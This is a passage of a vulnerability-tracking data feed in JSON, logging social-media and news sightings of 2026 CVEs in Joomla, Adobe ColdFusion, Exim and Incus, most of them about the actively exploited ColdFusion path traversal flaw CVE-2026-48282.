"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48956", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3i3hz3pq27", "content": "CVE-2026-48956 - Joomla! Core - [20260710] - Incorrect Access Control in com_modules\nCVE ID : CVE-2026-48956\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows users to display a list of modules in the frontend.\n \n Severity...", "creation_timestamp": "2026-07-07T20:48:21.340914Z"}, {"uuid": "474e94d1-42df-458d-b7c8-151b5fac68af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48751", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3i6l345g2h", "content": "CVE-2026-48751 - lxc\nIncus has a security issue that allows a malicious user to bypass project restrictions and execute arbitrary commands on the server with root privileges. This is a serious problem because it\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lxc #Golang #CVE #infosec", "creation_timestamp": "2026-07-07T20:50:05.292062Z"}, {"uuid": "c7acb31c-9667-472d-8c18-1f129d802fae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mq3i7x6pzg2s", "content": "\ud83d\udc1b VULNERABILITIES Attackers exploit critical Adobe ColdFusion vulnerability (CVE-2026-48282) \u2014 Help Net Security\nhttps://www.helpnetsecurity.com/2026/07/07/adobe-coldfusion-cve-2026-48282-exploitation-detected/ #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-07-07T20:50:51.406503Z"}, {"uuid": "9d571c9c-43a5-4343-a0e5-1d04493447de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48957", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3ifrrdm42x", "content": "CVE-2026-48957 - Joomla! Core - [20260711] - Incorrect Access Control in com_privacy webservice endpoints\nCVE ID : CVE-2026-48957\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows unauthorized users to access com_privacy d...", "creation_timestamp": "2026-07-07T20:54:07.021337Z"}, {"uuid": "1d3a85a9-a5f7-4c9f-a345-29a3339367ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48958", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3ilqv6ms2z", "content": "CVE-2026-48958 - Joomla! Core - [20260712] - Incorrect Access Control in com_fields webservice endpoints\nCVE ID : CVE-2026-48958\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows unauthorized users to create custom fields ...", "creation_timestamp": "2026-07-07T20:57:27.493026Z"}, {"uuid": "e2957577-13b6-4dac-8b28-e7ba89edea4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48952", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3ishx2e224", "content": "CVE-2026-48952 - Joomla! Core - [20260706] - XSS in com_installer\nCVE ID : CVE-2026-48952\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Lack of escaping leads to an XSS vulnerability in the update list view of com_installer.\n \n Severity: 5.9 | MEDIUM...", "creation_timestamp": "2026-07-07T21:01:13.188023Z"}, {"uuid": "3867ea10-fff8-4ae1-89a8-bf44cb161b98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48953", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3j25jxpy25", "content": "CVE-2026-48953 - Joomla! Core - [20260707] - XSS in the generic image output layout\nCVE ID : CVE-2026-48953\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Lack of escaping leads to an XSS vulnerability in the generic image output layout.\n \n Severity: ...", "creation_timestamp": "2026-07-07T21:05:35.266637Z"}, {"uuid": "5e15d4b0-8f75-44e5-be34-24af3ca621cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48951", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3jm2ouw42x", "content": "CVE-2026-48951 - Joomla! Core - [20260705] - XSS in various modalreturn layouts\nCVE ID : CVE-2026-48951\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Lack of escaping leads to XSS vulnerabilities in modalreturn layouts of various components.\n \n Sever...", "creation_timestamp": "2026-07-07T21:15:31.427713Z"}, {"uuid": "79445a36-af07-4805-a12d-80411bcb3d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48950", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3juz5a5l2w", "content": "CVE-2026-48950 - Joomla! Core - [20260704] - XSS in com_templates\nCVE ID : CVE-2026-48950\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : Lack of escaping leads to an XSS vulnerability in the file management view of com_templates.\n \n Severity: 5.9 | ME...", "creation_timestamp": "2026-07-07T21:20:31.997660Z"}, {"uuid": "87d06f76-1ded-418c-a6b7-95043c6e8365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48948", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3k5xzhqr27", "content": "CVE-2026-48948 - Joomla! Core - [20260702] - Incorrect Access Control in com_contact vcf download\nCVE ID : CVE-2026-48948\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows user to download vcard exports of com_contact cont...", "creation_timestamp": "2026-07-07T21:25:32.711022Z"}, {"uuid": "974ce201-89a4-4bf0-b0b3-c51a5d525f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48955", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3kgwhhbm2k", "content": "CVE-2026-48955 - Joomla! Core - [20260709] - Incorrect Access Control in com_workflow\nCVE ID : CVE-2026-48955\n \n Published : July 7, 2026, 7:16 p.m. | 31\u00a0minutes ago\n \n Description : An improper access check allows unauthorized users to access workflow stage and transition inf...", "creation_timestamp": "2026-07-07T21:30:33.187433Z"}, {"uuid": "dbff4425-57b4-4735-bf85-6acaac0a2ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116881137470792783", "content": "\ud83d\udea8 CVE-2026-48282: PoC Path traversal vulnerability in Adobe ColdFusion's Remote Development Service (RDS) with a CVSS score of 10.0\nGitHub: https://github.com/imbas007/CVE-2026-48282", "creation_timestamp": "2026-07-07T22:50:23.116397Z"}, {"uuid": "32c8941c-dfda-4f9f-a0ae-cc1edb475c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "MISP/edb50c22-0e22-48ba-b4c7-15871e48b7fb", "content": "", "creation_timestamp": "2026-07-08T00:15:03.055740Z"}, {"uuid": "feb220c4-3002-45d9-9741-8ddcad70094c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mq3ypavshq2x", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (Jul 7)\n\nCVE-2026-48282 Adobe ColdFusion\u306e\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-07-08T01:45:45.003714Z"}, {"uuid": "e04a129b-1591-4100-86f1-afd98888da57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mq3yw5u4i324", "content": "\u653b\u6483\u8005\u304cAdobe ColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-48282\uff09\u3092\u60aa\u7528 \n\nAttackers exploit critical Adobe ColdFusion vulnerability (CVE-2026-48282)  #HelpNetSecurity (Jul 7)\n\nwww.helpnetsecurity.com/2026/07/07/a...", "creation_timestamp": "2026-07-08T01:49:37.062203Z"}, {"uuid": "eb79a2a6-1875-4905-8917-2d5bcccb5159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:21.311582Z"}, {"uuid": "525bdc71-a4d9-4e33-bb8a-dc1715c3a715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48315", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:23.501400Z"}, {"uuid": "681defb8-b7e7-4a56-8502-55cd3c4dac21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mq4co5o2ckfn", "content": "CVE-2026-48282 Adobe ColdFusion Path Traversal Vulnerability", "creation_timestamp": "2026-07-08T04:44:06.285379Z"}, {"uuid": "b1fd7ae2-928f-4fb3-9c96-b44b56029987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48840", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3mq4budtvlk2u", "content": "Shodan\u3067\u78ba\u8a8d\u3059\u308b\u3068\u3001\u65e5\u672c\u56fd\u5185\u3067\u3082 Exim \u3092\u5916\u90e8\u516c\u958b\u3057\u3066\u3044\u308b\u30db\u30b9\u30c8\u304c\u591a\u6570\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002\n\u30e1\u30fc\u30eb\u30b5\u30fc\u30d0\u306f\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u5883\u754c\u306b\u7f6e\u304b\u308c\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u8106\u5f31\u6027\u3092\u653e\u7f6e\u3059\u308b\u3068\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3001\u60c5\u5831\u6f0f\u3048\u3044\u3001\u8e0f\u307f\u53f0\u5316\u3001\u30e1\u30fc\u30eb\u914d\u9001\u57fa\u76e4\u306e\u60aa\u7528\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\nCVE-2026-40685 \u306f Exim 4.99.2 \u672a\u6e80\u3001\nCVE-2026-48840 \u306f\u6761\u4ef6\u4ed8\u304d\u3067 4.88\u301c4.99.3 \u304c\u5f71\u97ff\u5bfe\u8c61\u3068\u306a\u308b\u305f\u3081\u3001\u53e4\u3044 Exim \u3092\u516c\u958b\u3057\u3066\u3044\u308b\u74b0\u5883\u306f\u65e9\u6025\u306a\u78ba\u8a8d\u304c\u5fc5\u8981\u3067\u3059\u3002", "creation_timestamp": "2026-07-08T04:29:46.518203Z"}, {"uuid": "90f7ba39-612f-49e3-b784-958e9afa5967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48840", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3mq4bujekvs2u", "content": "Shodan\u3067\u78ba\u8a8d\u3059\u308b\u3068\u3001\u65e5\u672c\u56fd\u5185\u3067\u3082 Exim \u3092\u5916\u90e8\u516c\u958b\u3057\u3066\u3044\u308b\u30db\u30b9\u30c8\u304c\u591a\u6570\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002\n\u30e1\u30fc\u30eb\u30b5\u30fc\u30d0\u306f\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u5883\u754c\u306b\u7f6e\u304b\u308c\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u8106\u5f31\u6027\u3092\u653e\u7f6e\u3059\u308b\u3068\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3001\u60c5\u5831\u6f0f\u3048\u3044\u3001\u8e0f\u307f\u53f0\u5316\u3001\u30e1\u30fc\u30eb\u914d\u9001\u57fa\u76e4\u306e\u60aa\u7528\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\nCVE-2026-40685 \u306f Exim 4.99.2 \u672a\u6e80\u3001\nCVE-2026-48840 \u306f\u6761\u4ef6\u4ed8\u304d\u3067 4.88\u301c4.99.3 \u304c\u5f71\u97ff\u5bfe\u8c61\u3068\u306a\u308b\u305f\u3081\u3001\u53e4\u3044 Exim \u3092\u516c\u958b\u3057\u3066\u3044\u308b\u74b0\u5883\u306f\u65e9\u6025\u306a\u78ba\u8a8d\u304c\u5fc5\u8981\u3067\u3059\u3002", "creation_timestamp": "2026-07-08T04:29:47.043937Z"}, {"uuid": "031c9834-0315-4334-a547-b943082b7869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mq4cpumcxcfn", "content": "CVE-2026-48908 JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability\nCVE-2026-55255 Langflow Authorization Bypass Through User-Controlled Key Vulnerability  \nCVE-2026-56290 Joomlack Page Builder Improper Access Control Vulnerability", "creation_timestamp": "2026-07-08T04:45:04.140532Z"}, {"uuid": "9aa21f26-b3a3-4c2f-8774-d033280a9d61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mq4f5fagzcfn", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild - Security Affairs https://securityaffairs.com/194837/hacking/adobe-coldfusion-flaw-cve-2026-48282-now-exploited-in-the-wild.html", "creation_timestamp": "2026-07-08T05:28:25.925423Z"}, {"uuid": "3f8baba2-f48b-4288-a25b-ffeeea79873d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mq4fepddys2a", "content": "Attackers exploit critical Adobe ColdFusion vulnerability (CVE-2026-48282)\n\nCVE-2026-48282, one of the maximum severity vulnerabilities patched in Adobe ColdFusion on June 30, 2026, has been targeted by attackers in the wild. Exploitation attempts were detected on July 2, through \u2026\n#hackernews #news", "creation_timestamp": "2026-07-08T05:32:29.844941Z"}, {"uuid": "2355b581-5f35-4ba3-a5ab-453ad12a80d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:25.722388Z"}, {"uuid": "a5d1e752-04b7-466e-8acb-2b321d8230a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7ciqjp22", "content": "CVE-2026-48282: CISA's Mandate Is an Alarm for All Adobe ColdFusion Users #CVE202648282 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-08T08:10:32.925661Z"}, {"uuid": "f7e5cfc4-9c10-49d6-9ec2-8661af39e7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mq4mbubeap2r", "content": "CISA\u304c\u9023\u90a6\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3057\u3001\u6700\u5927\u6df1\u523b\u5ea6\u306eColdFusion\u8106\u5f31\u6027\u3092\u91d1\u66dc\u65e5\u307e\u3067\u306b\u30d1\u30c3\u30c1\u9069\u7528\u3059\u308b\u3088\u3046\u547d\u4ee4\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81(CISA)\u306f\u3001Adobe ColdFusion\u5546\u7528\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u958b\u767a\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u6700\u5927\u6df1\u523b\u5ea6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u3001\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3057\u91d1\u66dc\u65e5\u307e\u3067\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3059\u308b\u3088\u3046\u547d\u3058\u307e\u3057\u305f\u3002 \u3053\u306e\u8106\u5f31\u6027(CVE-2026-48282)\u306fColdFusion\u30d0\u30fc\u30b8\u30e7\u30f32", "creation_timestamp": "2026-07-08T07:36:10.337188Z"}, {"uuid": "568a92fc-e013-4d7b-88f2-aa3f37b6f026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o5dt4sm2c", "content": "CVE-2026-48282: Adobe ColdFusion Users Must Act Now to Avoid Exploits #CyberSecurity #CVE2026 #AdobeColdFusion", "creation_timestamp": "2026-07-08T08:09:26.659077Z"}, {"uuid": "1eca1310-946a-43e8-b707-ef9250072e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o5fn2dy2s", "content": "CVE-2026-48282: Exploitation of Adobe and Joomla Flaws Demands Urgent Action #CVE2026 #AdobeFlaw #JoomlaSecurity", "creation_timestamp": "2026-07-08T08:09:29.084048Z"}, {"uuid": "c6bbc515-c05a-4ec7-9401-e492c0659eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o6yjerf2k", "content": "CVE-2026-48282: CISA's KEV List Underscores Risks of Blunted Security Responses #CyberSecurity #CVE202648282 #CISA", "creation_timestamp": "2026-07-08T08:10:29.981473Z"}, {"uuid": "a86f187a-a83a-4d69-8a45-c07771fd2e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o76n3jj27", "content": "CVE-2026-48282: Are Exploits of Adobe ColdFusion and Joomla Inevitable? #CVE202648282 #AdobeColdFusion #Joomla", "creation_timestamp": "2026-07-08T08:10:31.307017Z"}, {"uuid": "b97aa3f6-c472-466b-a9ea-b963dee474cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7al3sm2f", "content": "CVE-2026-48282: Adobe ColdFusion Flaw Requires Immediate Action #CVE202648282 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-08T08:10:32.021632Z"}, {"uuid": "d53f2e1d-9b97-47e8-bbac-8bed65f898f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7erfsn22", "content": "CVE-2026-48282: CISA's Urgent Directive Raises Questions About Adobe ColdFusion Security #CVE202648282 #AdobeColdFusion #Cybersecurity", "creation_timestamp": "2026-07-08T08:10:34.723096Z"}, {"uuid": "4b6e8fcc-95aa-4e71-8c97-ce52bee5b77d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7gru7x22", "content": "CVE-2026-48282: CISA's Directive Calls Attention to ColdFusion Patch Failures #CyberSecurity #CISA #ColdFusion", "creation_timestamp": "2026-07-08T08:10:37.294046Z"}, {"uuid": "875cb0ae-095d-46b3-b362-79ae3e34b06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7ku64226", "content": "CVE-2026-48282: CISA's Rush to Patch ColdFusion Signals Need for Better Risk Management #CyberSecurity #ColdFusion #RiskManagement", "creation_timestamp": "2026-07-08T08:10:41.668924Z"}, {"uuid": "8fda864e-4139-4b55-8280-8eeb7e2422af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq4o7oejsv2k", "content": "CVE-2026-48282: Should CISA Mandate Patch Timelines for Federal Agencies? #CyberSecurity #CISA #PatchManagement", "creation_timestamp": "2026-07-08T08:10:45.512147Z"}, {"uuid": "bd39159e-7dce-45cf-89e2-df442f75a465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:03.170489Z"}, {"uuid": "7c3d3379-73f5-48a1-84d6-c2a7892deadd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:06.111224Z"}, {"uuid": "38c256e9-842e-4351-9c43-62ced49afac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48281", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:08.242842Z"}, {"uuid": "de98376d-098b-4581-915c-8390bfe7b626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:10.393524Z"}, {"uuid": "94e90e6a-5f69-48e8-a443-4e50b5285898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:12.529821Z"}, {"uuid": "6be28461-12aa-4f52-a535-d5a668f0fe07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48285", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:14.724063Z"}, {"uuid": "5b0a8dea-b620-4128-8bf1-e604dd7a3bb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://www.acn.gov.it/portale/w/adobe-aggiornamenti-di-sicurezza-17", "content": "", "creation_timestamp": "2026-07-08T08:45:16.869562Z"}, {"uuid": "bd144847-7fd9-4188-aee1-02b0d4a67472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mq4q5qcbjo2i", "content": "CISA ordered US federal agencies to patch the actively exploited Adobe ColdFusion flaw CVE-2026-48282 by Friday after reports of remote code execution on unpatched systems. #AdobeColdFusion #CISA #USA", "creation_timestamp": "2026-07-08T08:45:27.371315Z"}, {"uuid": "5f4db33d-1118-4fc2-9967-151b887b953e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116883599851402361", "content": "Poc for CVE-2026-48282, a path traversal vulnerability in Adobe ColdFusion's Remote Development Service (RDS) https://github.com/imbas007/CVE-2026-48282", "creation_timestamp": "2026-07-08T09:16:35.432429Z"}, {"uuid": "305e8598-1725-4e1b-a3a1-716620f4ff81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mq4rvjzzkte2", "content": "Poc for CVE-2026-48282, a path traversal vulnerability in Adobe ColdFusion's Remote Development Service (RDS) https://github.com/imbas007/CVE-2026-48282", "creation_timestamp": "2026-07-08T09:16:42.294524Z"}, {"uuid": "763667d9-9959-4f1c-b506-c9d17e79ce85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mq4so5xhdr2d", "content": "CISA added 4 actively exploited flaws to KEV, including Adobe ColdFusion CVE-2026-48282, which can enable arbitrary code execution, plus issues in Joomla, Langflow, and JoomShaper. #AdobeColdFusion #Langflow #Joomla", "creation_timestamp": "2026-07-08T09:30:26.180828Z"}, {"uuid": "3a55fca9-a775-40a5-8e1a-60662d894f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 